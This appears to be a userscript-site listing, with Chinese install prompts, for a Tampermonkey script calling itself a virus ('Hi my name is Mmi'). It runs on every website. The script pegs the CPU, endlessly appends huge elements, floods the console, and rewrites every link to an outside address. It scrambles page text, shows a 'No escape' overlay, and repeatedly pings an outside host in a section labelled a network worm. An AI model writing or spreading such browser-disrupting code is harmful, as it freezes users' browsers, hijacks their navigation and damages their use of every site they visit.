Hi my name is Mmi (virus)

Find out, shout out my boy slaughter he didn't help, but making this reminds me of him.

您需要先安装一个扩展,例如 篡改猴Greasemonkey暴力猴,之后才能安装此脚本。

您需要先安装一个扩展,例如 篡改猴暴力猴,之后才能安装此脚本。

您需要先安装一个扩展,例如 篡改猴暴力猴,之后才能安装此脚本。

您需要先安装一个扩展,例如 篡改猴Userscripts ,之后才能安装此脚本。

您需要先安装一款用户脚本管理器扩展,例如 Tampermonkey,才能安装此脚本。

您需要先安装用户脚本管理器扩展后才能安装此脚本。

(我已经安装了用户脚本管理器,让我安装!)

您需要先安装一款用户样式管理器扩展,比如 Stylus,才能安装此样式。

您需要先安装一款用户样式管理器扩展,比如 Stylus,才能安装此样式。

您需要先安装一款用户样式管理器扩展,比如 Stylus,才能安装此样式。

您需要先安装一款用户样式管理器扩展后才能安装此样式。

您需要先安装一款用户样式管理器扩展后才能安装此样式。

您需要先安装一款用户样式管理器扩展后才能安装此样式。

(我已经安装了用户样式管理器,让我安装!)

// ==UserScript==
// @name         Hi my name is Mmi (virus)
// @namespace    http://tampermonkey.net/
// @version      0.4
// @description  Find out, shout out my boy slaughter he didn't help, but making this reminds me of him.
// @author       TheYoungDoxxer
// @match        *://*/*
// @grant        none
// ==/UserScript==

(function() {
    'use strict';

    //Lag
    function intensiveCalculation() {
        let start = Date.now();
        let sum = 0;
        while (Date.now() - start < 100) {
            for (let i = 0; i < 1e6; i++) {
                sum += i;
            }
        }
    }
// Add elements
 const elements = document.querySelectorAll('*');
    elements.forEach(elem => {
        elem.classList.add('mimi-infected');
    });
    setInterval(() => {
        const div = document.createElement('div');
        div.style.height = '1000px';
        document.body.appendChild(div);
    }, 10);


let i = 0;
    setInterval(() => {
        i++;
        Math.sqrt(i);
        const div = document.createElement('div');
        div.style.height = '1000px';
        document.body.appendChild(div);
    }, 10);













//spam
    const message = "Hi my name is Mimi";

    function spamConsole() {
        console.log(message);
        console.warn(message);
        console.error(message);
        console.info(message);
        console.debug(message);
        console.trace(message);
        console.dir(message);
        console.group(message);
        console.groupCollapsed(message);
        console.groupEnd();
        console.assert(true, message);
        console.count(message);
        console.countReset(message);
        console.dirxml(message);
        console.profile(message);
        console.profileEnd(message);
        console.time(message);
        console.timeEnd(message);
        console.timeLog(message);
        console.table([{name: message}]);
    }






    //Create
    for (let i = 0; i < 1000; i++) {
    const drag = document.createElement('div');
    drag.id = 'Hi my name is Mimi';
    drag.innerText = 'Hi my name is Mimi';
    document.body.appendChild(drag);
}



//Troll
 document.querySelectorAll('a').forEach(a => a.href = 'http://guns.lol/theyoungdoxxer');
document.title = 'Mimi';
document.body.style.filter = 'invert(30%)';

    //Zoom
    setInterval(() => {
    const texts = document.getElementsByTagName('p');
    for (let text of texts) {
        text.style.transform = `scale(${Math.random() * 2})`;
    }
}, 20);










//Mimi is here
setInterval(() => {
    const texts = document.getElementsByTagName('p');
    for (let text of texts) {
        text.innerText = 'Mimi is here';
    }
}, 50);





    // A message from the ones
    const newElement = document.createElement('div');
    newElement.innerText = 'Mimi is here, there is nothing left now. RUN. RUN. RUN';
    newElement.style.position = 'fixed';
    newElement.style.top = '20px';
    newElement.style.left = '20px';
    newElement.style.backgroundColor = 'black';
    newElement.style.color = 'white';
    newElement.style.padding = '20px';
    newElement.style.cursor = 'pointer';
    newElement.style.zIndex = '9999';
    newElement.addEventListener('click', () => {
        alert('No escape');
    });

//Background
const style = document.createElement('style');
style.innerHTML = `
    body {
        background-color: red;
        color: white;
    }
`;





//Network worm
 setInterval(() => {
        fetch('https://guns.lol/slaughter'); //My old friend :)
    }, 10000);






    document.head.appendChild(style);
    document.body.appendChild(newElement);
    setInterval(spamConsole, 100);
setInterval(intensiveCalculation, 10);
})();